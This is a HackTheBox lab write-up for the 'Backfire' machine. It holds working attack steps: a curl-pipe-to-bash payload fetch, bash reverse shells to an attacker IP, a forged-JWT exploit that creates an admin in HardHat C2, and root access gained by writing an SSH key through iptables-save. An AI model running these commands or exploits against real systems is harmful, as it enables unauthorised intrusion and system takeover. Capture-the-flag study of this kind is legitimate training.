Backfire – HackTheBox Link to heading

  • OS: Linux
  • Difficulty : Medium
  • Platform: HackTheBox

Avatar backfire


Summary Link to heading

“Backfire” is a Medium difficulty machine from HackTheBox platform. After an initial scan, we find that the victim machine is exposing a configuration file for Havoc, a Command & Control (C2) tool, which leaks credentials. After some research, we find that the victim machine running Havoc is vulnerable to CVE-2024-41570, a Server-Side Request Forgery (SSRF) vulnerability that can be chanied to a Remote Code Execution (RCE), allowing us to gain access to the victim machine. Once inside, we find that the victim machine is running another C2 tool called HardHat, where we find another exploit that allow us to create a user in this new tool and execute commands as a second user running HardHat. This second user can run iptables and iptables-save as root, which allow us to inject a valid SSH key for root user, connect to the victim machine as this user and take total control of it.


User Link to heading

Nmap scan shows 3 ports open: 22 SSH, 443 HTTP and 8000 an HTTP site:

❯ sudo nmap -sVC -p22,443,8000 10.10.11.49

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-24 00:17 -03
Nmap scan report for 10.10.11.49
Host is up (0.31s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
|   256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|_  256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
443/tcp  open  ssl/http nginx 1.22.1
| tls-alpn:
|   http/1.1
|   http/1.0
|_  http/0.9
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=ACME/stateOrProvinceName=Florida/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2025-01-17T16:08:55
|_Not valid after:  2028-01-17T16:08:55
|_http-server-header: nginx/1.22.1
|_ssl-date: TLS randomness does not represent time
8000/tcp open  http     nginx 1.22.1
| http-ls: Volume /
| SIZE  TIME               FILENAME
| 1559  17-Dec-2024 11:31  disable_tls.patch
| 875   17-Dec-2024 11:34  havoc.yaotl
|_
|_http-title: Index of /
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.75 seconds

Visiting https://10.10.11.49 just returns a 404 Not Found site:

❯ curl -s -k https://10.10.11.49

<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>

Checking port 8000, visiting http://10.10.11.49:8000/ in a web browser, shows some files:

Backfire

One file is called disable_tls.patch and the other one is called havoc.yaotl. We can check these files using a terminal along with cURL:

❯ curl -s http://10.10.11.49:8000/disable_tls.patch

Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver

diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
 {
     Teamserver   = ConnectionInfo;
     Socket       = new QWebSocket();
-    auto Server  = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+    auto Server  = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
     auto SslConf = Socket->sslConfiguration();

     /* ignore annoying SSL errors */
     SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
-    Socket->setSslConfiguration( SslConf );
     Socket->ignoreSslErrors();

     QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
                }

                // start the teamserver
-               if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+               if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
                        logger.Error("Failed to start websocket: " + err.Error())
                }

This files seems to be a git commit about the configuration of a server. We can also see the keyword havoc.

Checking havoc.yaotl file returns:

❯ curl -s http://10.10.11.49:8000/havoc.yaotl

Teamserver {
    Host = "127.0.0.1"
    Port = 40056

    Build {
        Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "ilya" {
        Password = "CobaltStr1keSuckz!"
    }

    user "sergej" {
        Password = "1w4nt2sw1tch2h4rdh4tc2"
    }
}

Demon {
    Sleep = 2
    Jitter = 15

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Listeners {
    Http {
        Name = "Demon Listener"
        Hosts = [
            "backfire.htb"
        ]
        HostBind = "127.0.0.1"
        PortBind = 8443
        PortConn = 8443
        HostRotation = "round-robin"
        Secure = true
    }
}

We have some passwords. The password CobaltStr1keSuckz! shows some beef against Cobalt Strike Command & Control (hereafter C2). Searching for Havoc related to Red Team returns:

Info
The Havoc command and control (C2) framework is a flexible post-exploitation framework written in Go, C++, and Qt, created by C5pider. Engineered to support red team engagements and adversary emulation, Havoc offers a robust set of capabilities tailored for offensive security operations.

Additionally, searching for havoc.yaotl returns this documentation from the official Havoc website. There, they define different blocks from the file such as Teamserver, Operators, Listeners, Demon; among others. I encourage to the reader to read this documentation, it’s not too long and pretty clear. The operator block defines, as we expected, the users that are allowed to connect to Havoc, where they provide the example:

Operators {
	user "5pider" {
		Password = "password1234"
	}

	user "Neo" {
		Password = "password1234"
	}
}

Credentials at havoc.yaotl file do not work for SSH service.

At this point, we can search for Havoc CVE. Searching this returns a vulnerability labeled as CVE-2024-41570. Basically, a Server-Side Request Forgery (SSRF) vulnerability allows attackers to send arbitrary network traffic originating from the team server. Searching for exploits for this vulnerability we find this repository that is a Remote Code Execution script. We also find this repository for the person who apparently discovered the vulnerability, since the author explains in a high detail the vulnerability at his blog. To summarize both exploits:

  1. This repository (the second one mentioned) sends a fake agent registration request to open a socket at teamserver which can be manipulated to send data.
  2. This repository (the first one mentioned) can make use of the manipulated websocket to send a payload into the victim machine with Havoc running and execute commands remotely.

Therefore, combining both payloads, we pass from a SSRF to a RCE attack.

We could manually combine both exploits, but someone has already done it. We find this third repository. The only little changes we do to this code is that we change the line 253 from:

cmd = "curl http://IP:8000/payload.sh | bash"

to:

cmd = "curl http://10.10.16.2:8000/rev.sh | bash"

Where 10.10.16.2 is our attacker IP address. We are going to also expose a Bash script named rev.sh through a Python HTTP on port 8000. We create the script rev.sh in our attacker machine:

❯ echo -e '#!/bin/bash\n\n/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' > rev.sh

❯ cat rev.sh

#!/bin/bash

/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.2/443 0>&1"

❯ chmod +x rev.sh

Where, again, 10.10.16.2 is our attacker IP and 443 the port we will start a listener with nc to obtain a reverse shell.

In our attacker machine, start a temporal Python HTTP server on port 8000 as we specified, again, exposing rev.sh script:

❯ ls -la && python3 -m http.server 8000

total 24
drwxrwxr-x 2 gunzf0x gunzf0x  4096 Jan 24 01:24 .
drwxrwxr-x 5 gunzf0x gunzf0x  4096 Jan 24 00:15 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 10512 Jan 24 01:23 exploit.py
-rwxrwxr-x 1 gunzf0x gunzf0x    73 Jan 24 01:24 rev.sh
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Start a netcat listener on port 443 (running nc -lvnp 443) as we specified at rev.sh and run the exploit:

❯ python3 exploit.py --target https://10.10.11.49/ -i 127.0.0.1 -p 40056

We get a shell as ilya user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.49] 55996
bash: cannot set terminal process group (27421): Inappropriate ioctl for device
bash: no job control in this shell
ilya@backfire:~/Havoc/payloads/Demon$

ilya@backfire:~/Havoc/payloads/Demon$ hostname -I

hostname -I
10.10.11.49 dead:beef::250:56ff:fe94:6252

The only “problem” is that, after some seconds, the shell dies. Therefore, we will create a simple SSH key in our attacker machine:

❯ ssh-keygen -t rsa -b 4096

Generating public/private rsa key pair.
Enter file in which to save the key (/home/gunzf0x/.ssh/id_rsa): /home/gunzf0x/HTB/HTBMachines/Medium/Backfire/content/id_rsa
Enter passphrase for "/home/gunzf0x/HTB/HTBMachines/Medium/Backfire/content/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/gunzf0x/HTB/HTBMachines/Medium/Backfire/content/id_rsa
Your public key has been saved in /home/gunzf0x/HTB/HTBMachines/Medium/Backfire/content/id_rsa.pub
The key fingerprint is:
SHA256:nNcrBrKJnigMDwl+R9iF7sCIMON52zI0/gOryw1gKXI gunzf0x@kali
The key's randomart image is:
+---[RSA 4096]----+
|      .          |
|+    . .         |
|+o+ + .          |
|o+.B + . . .     |
|*+E B . S . .    |
|Oo B = + o   .   |
|o+. O o   o .    |
|o.++ +   . .     |
| =+.o .          |
+----[SHA256]-----+

We can copy the content of the generated id_rsa.pub file:

❯ cat id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvESi/A3mYjWfDgVlojVywVI8bGW9RYFQm9CF8Wk1baKC+qVFvOFvfkY1XuEgLs9xr10/7unehGHcMyn2PD2j/l2sWO6m9jAActA+laNWHfOYRpNwx/tZ2a/BKMciVdX3HwuWvgVTkFgfK6XQx/MMN4kXR0b/Qq25/uQe2WwZuE/FXyq7rFH8pcvd6LodzliUOeHU2n9bCWqFpCsyn8SFc9f+NyoIdSYZAXc8dKIQl108x3QXAuqdU4S7zQxw/EwFkhPJSbgiHgg6s2Qmnhovf0B/i53pkkTVknKMAWzW/2xCGZoLeh/ddmgOXWPp/jqG4QprQaNxOZli29S4hlbKERViyMgpAv3MJPoazMzNgf8pIrVcqmWxpr6naEHVxERLdO3S9tt44ce2QQEXV4NLQbUaWaEfb+B34uxJn/LGid1c1CQHVzZdYe5vTgJUIp+fNzZQouKnS4p8ouX5H+19BiboeZ6uY/YQcgFaVrrqXh3w5pmwcRum9AjTocTZ1Xk8vTTDEOnxbjYK0BvIRmk5yQND/0xPL8mKTVn8BD2Pe7LX9DfebVwpd5CVrF2f0x+2Rl0VWYoCwLwvhptp/rZmzYfgjUo72zu9hjzgJ7sUBkQEcs01o4p/GkCi1BeM6+CkHv/VckMhbui7waF8DvGCf03/oQUkHYwKHihu9jGVoCw== gunzf0x@kali

Connect to the victim machine again re-running exploit.py and add the generated key in our attacker machine and add it to the victim machine executing:

ilya@backfire:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvESi/A3mYjWfDgVlojVywVI8bGW9RYFQm9CF8Wk1baKC+qVFvOFvfkY1XuEgLs9xr10/7unehGHcMyn2PD2j/l2sWO6m9jAActA+laNWHfOYRpNwx/tZ2a/BKMciVdX3HwuWvgVTkFgfK6XQx/MMN4kXR0b/Qq25/uQe2WwZuE/FXyq7rFH8pcvd6LodzliUOeHU2n9bCWqFpCsyn8SFc9f+NyoIdSYZAXc8dKIQl108x3QXAuqdU4S7zQxw/EwFkhPJSbgiHgg6s2Qmnhovf0B/i53pkkTVknKMAWzW/2xCGZoLeh/ddmgOXWPp/jqG4QprQaNxOZli29S4hlbKERViyMgpAv3MJPoazMzNgf8pIrVcqmWxpr6naEHVxERLdO3S9tt44ce2QQEXV4NLQbUaWaEfb+B34uxJn/LGid1c1CQHVzZdYe5vTgJUIp+fNzZQouKnS4p8ouX5H+19BiboeZ6uY/YQcgFaVrrqXh3w5pmwcRum9AjTocTZ1Xk8vTTDEOnxbjYK0BvIRmk5yQND/0xPL8mKTVn8BD2Pe7LX9DfebVwpd5CVrF2f0x+2Rl0VWYoCwLwvhptp/rZmzYfgjUo72zu9hjzgJ7sUBkQEcs01o4p/GkCi1BeM6+CkHv/VckMhbui7waF8DvGCf03/oQUkHYwKHihu9jGVoCw== gunzf0x@kali" >> /home/ilya/.ssh/authorized_keys

We can then use the generated key to log in through SSH service as ilya user:

❯ ssh -i id_rsa ilya@10.10.11.49

The authenticity of host '10.10.11.49 (10.10.11.49)' can't be established.
ED25519 key fingerprint is SHA256:vKC7A11sFxQLRppUMt01q0d/DPREoskH4Aa42t0Bz9M.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.49' (ED25519) to the list of known hosts.
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
ilya@backfire:~$

We can grab the user flag.


Root Link to heading

At /home/ilya directory there is a hardcat.txt file that shows an interesting message:

Sergej said he installed HardHatC2 for testing and  not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#

The message talks about another C2 called HardHat:

Info
HardHat is a multi-user C# . NET-based command and control (C2) framework designed to aid in red team engagements and penetration testing. It aims to improve quality-of-life during engagements by providing a robust, easy-to-use C2 framework.

Based on HardHat documentation, this tool should be running at port 5000. We can check if this port is open:

ilya@backfire:~$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   512                                    0.0.0.0:7096                                  0.0.0.0:*
LISTEN              0                   512                                    0.0.0.0:5000                                  0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:443                                   0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:40056                                 0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                    0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:8000                                  0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8443                                  0.0.0.0:*
LISTEN              0                   128                                       [::]:22                                       [::]:*

It is. We assume it is running.

Searching for exploits but now for this C2 tool we find this blog. There, they also mention port 7096 for HardHat, which is also open in the victim machine. This port is actually hosting an internal website:

ilya@backfire:~$ curl -s -k https://127.0.0.1:7096 | head

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <base href="/" />
    <link rel="stylesheet" href="css/bootstrap/bootstrap.min.css" />
    <link href="css/site.css" rel="stylesheet" />
    <link href="HardHatC2Client.styles.css" rel="stylesheet" />

At the blog, 3 vulnerabilities are mentioned: Arbitrary File Write, Authentication Bypass and Remote Code Execution. The first vulnerability allow us to write .pfx files, which is related to authentication at HardHat. The second vulnerability is interesting: it allow us to create an Administrator with TeamLead role (maximum privileges) at HardHat. The Python code provided there is:

# @author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests

rhost = 'hardhatc2.local:5000'

# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()

expiration = now + datetime.timedelta(days=28)
payload = {
    "sub": "HardHat_Admin",  
    "jti": str(uuid.uuid4()),
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
    "iss": issuer,
    "aud": issuer,
    "iat": int(now.timestamp()),
    "exp": int(expiration.timestamp()),
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}

token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)

# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
  "Authorization": f"Bearer {token}",
  "Content-Type": "application/json"
}
burp0_json = {
  "password": "sth_pentest",
  "role": "TeamLead",
  "username": "sth_pentest"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)

The only change we will do to the script is changing the variable:

rhost = 'hardhatc2.local:5000'

to:

rhost = '127.0.0.1:5000'

Since HardHat is running in the victim’s machine localhost.

This port is only open internally but we do have a connection through SSH we can use it to make a tunnel through a Local Port Forwarding . Let’s convert ports 5000 and 7096 to ports 5000 and 7096 of our attacker machine. Exit from the current SSH session and log in again, but executing this time:

❯ ssh -i id_rsa -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@10.10.11.49

If we now visit https://127.0.0.1:7096 at a web browser we can now see HardHat login panel:

Backfire

We can now run the exploit:

❯ python3 hardhat_create_account_exploit.py

Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiMTdlNWU4MGMtY2NkYy00ODMyLTk3ZmYtNTMzMDczZDdkNDI0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3Mzc3MDc4ODksImV4cCI6MTc0MDEyNzA4OSwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.b6WuEKkL4QK8OcoQ7eAUKdxf1APVH9Ez9RPlMAK3dgY
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:1100: InsecureRequestWarning: Unverified HTTPS request is being made to host '127.0.0.1'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
  warnings.warn(
User sth_pentest created

The user sth_pentest, as the script said, should have been created.

Let’s go back to HardHat login panel and use the credentials sth_pentest:sth_pentest (these credentials are defined at the script):

Backfire 3

We are in.

Clicking on the three lines at the top left and then on ImplantInteract we can see there is a Terminal tab. We can run commands there:

Backfire 4

We are executing commands as sergej user in the victim machine (10.10.11.49).

Therefore, use this terminal to send a simple payload:

bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"

Pass that command to the terminal, start a listener with netcat and click on Send.

We get a new shell as sergej user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.49] 54390
bash: cannot set terminal process group (30253): Inappropriate ioctl for device
bash: no job control in this shell
sergej@backfire:~/HardHatC2/HardHatC2Client$

Similar as we did for ilya user, go to /home/sergej/.ssh directory, and add the content of the previously generated id_rsa.pub file:

sergej@backfire:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvESi/A3mYjWfDgVlojVywVI8bGW9RYFQm9CF8Wk1baKC+qVFvOFvfkY1XuEgLs9xr10/7unehGHcMyn2PD2j/l2sWO6m9jAActA+laNWHfOYRpNwx/tZ2a/BKMciVdX3HwuWvgVTkFgfK6XQx/MMN4kXR0b/Qq25/uQe2WwZuE/FXyq7rFH8pcvd6LodzliUOeHU2n9bCWqFpCsyn8SFc9f+NyoIdSYZAXc8dKIQl108x3QXAuqdU4S7zQxw/EwFkhPJSbgiHgg6s2Qmnhovf0B/i53pkkTVknKMAWzW/2xCGZoLeh/ddmgOXWPp/jqG4QprQaNxOZli29S4hlbKERViyMgpAv3MJPoazMzNgf8pIrVcqmWxpr6naEHVxERLdO3S9tt44ce2QQEXV4NLQbUaWaEfb+B34uxJn/LGid1c1CQHVzZdYe5vTgJUIp+fNzZQouKnS4p8ouX5H+19BiboeZ6uY/YQcgFaVrrqXh3w5pmwcRum9AjTocTZ1Xk8vTTDEOnxbjYK0BvIRmk5yQND/0xPL8mKTVn8BD2Pe7LX9DfebVwpd5CVrF2f0x+2Rl0VWYoCwLwvhptp/rZmzYfgjUo72zu9hjzgJ7sUBkQEcs01o4p/GkCi1BeM6+CkHv/VckMhbui7waF8DvGCf03/oQUkHYwKHihu9jGVoCw== gunzf0x@kali" >> /home/sergej/.ssh/authorized_keys

and connect through SSH as sergej user:

❯ ssh -i id_rsa sergej@10.10.11.49

Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
sergej@backfire:~$

Checking what commands can this new user run with sudo we get:

sergej@backfire:~$ sudo -l

Matching Defaults entries for sergej on backfire:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User sergej may run the following commands on backfire:
    (root) NOPASSWD: /usr/sbin/iptables
    (root) NOPASSWD: /usr/sbin/iptables-save

Searching for sudo iptables privilege escalation we reach this blog. There, they provide the command:

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Allow packets to localhost\nThis rule rocks!'

sudo /usr/sbin/iptables -S

sudo /usr/sbin/iptables-save -f <file-to-write-comment-from-1st-command>

The line completely replaces the file we write (I tested it), so rewriting /etc/sudoers file os /etc/shadow could not be a good idea.

Instead, as we did before, we could try to inject our generated SSH key as a valid key for root user:

sergej@backfire:~$ sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvESi/A3mYjWfDgVlojVywVI8bGW9RYFQm9CF8Wk1baKC+qVFvOFvfkY1XuEgLs9xr10/7unehGHcMyn2PD2j/l2sWO6m9jAActA+laNWHfOYRpNwx/tZ2a/BKMciVdX3HwuWvgVTkFgfK6XQx/MMN4kXR0b/Qq25/uQe2WwZuE/FXyq7rFH8pcvd6LodzliUOeHU2n9bCWqFpCsyn8SFc9f+NyoIdSYZAXc8dKIQl108x3QXAuqdU4S7zQxw/EwFkhPJSbgiHgg6s2Qmnhovf0B/i53pkkTVknKMAWzW/2xCGZoLeh/ddmgOXWPp/jqG4QprQaNxOZli29S4hlbKERViyMgpAv3MJPoazMzNgf8pIrVcqmWxpr6naEHVxERLdO3S9tt44ce2QQEXV4NLQbUaWaEfb+B34uxJn/LGid1c1CQHVzZdYe5vTgJUIp+fNzZQouKnS4p8ouX5H+19BiboeZ6uY/YQcgFaVrrqXh3w5pmwcRum9AjTocTZ1Xk8vTTDEOnxbjYK0BvIRmk5yQND/0xPL8mKTVn8BD2Pe7LX9DfebVwpd5CVrF2f0x+2Rl0VWYoCwLwvhptp/rZmzYfgjUo72zu9hjzgJ7sUBkQEcs01o4p/GkCi1BeM6+CkHv/VckMhbui7waF8DvGCf03/oQUkHYwKHihu9jGVoCw== gunzf0x@kali\n'

sergej@backfire:~$ sudo /usr/sbin/iptables -S

-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvESi/A3mYjWfDgVlojVywVI8bGW9RYFQm9CF8Wk1baKC+qVFvOFvfkY1XuEgLs9xr10/7unehGHcMyn2PD2j/l2sWO6m9jAActA+laNWHfOYRpNwx/tZ2a/BKMciVdX3HwuWvgVTkFgfK6XQx/MMN4kXR0b/Qq25/uQe2WwZuE/FXyq7rFH8pcvd6LodzliUOeHU2n9bCWqFpCsyn8SFc9" -j ACCEPT
 
sergej@backfire:~$ sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys

But we attempt to connect this did not work.

After some fails, what I tried was creating a new key, but this time using an ed25519 key instead of rsa as we did before (since, from Nmap scan, we can see those key types are accepted). In our attacker machine we create a new id_ed25519 key and copy the content of the generated id_ed25519 key:

❯ ssh-keygen -t ed25519

Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/gunzf0x/.ssh/id_ed25519): ./id_ed25519
Enter passphrase for "./id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_ed25519
Your public key has been saved in ./id_ed25519.pub
The key fingerprint is:
SHA256:isat881ep2fUZT0fMmjr5H5vPJ5yksdJFn0KkQnrbws gunzf0x@kali
The key's randomart image is:
+--[ED25519 256]--+
|          .. o   |
|           .+    |
|          . ..  o|
|         . o.o +*|
|        S o .oo+*|
|   . o .   +. oo.|
|    + o   E.+ * .|
|   ... o . Bo* O.|
|    .o..+ o+o O+.|
+----[SHA256]-----+

❯ cat id_ed25519.pub

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE//o6YCfD9F0s7favu72iduXQKpmjNtZeopxVNKQLch gunzf0x@kali

And write this new key:

sergej@backfire:~$ sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE//o6YCfD9F0s7favu72iduXQKpmjNtZeopxVNKQLch gunzf0x@kali\n'

Display all the rules (the content that will be added to the file):

sergej@backfire:~$ sudo /usr/sbin/iptables -S

-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE//o6YCfD9F0s7favu72iduXQKpmjNtZeopxVNKQLch gunzf0x@kali
" -j ACCEPT

and write the “comments” (which is a payload) at /root/.ssh/authorized_keys file:

sergej@backfire:~$ sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys

We can now try to log in as root in the victim machine using the generated key:

❯ ssh -i id_ed25519 root@10.10.11.49

Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
root@backfire:~#

GG. We can read root user flag at /root directory.

~Happy Hacking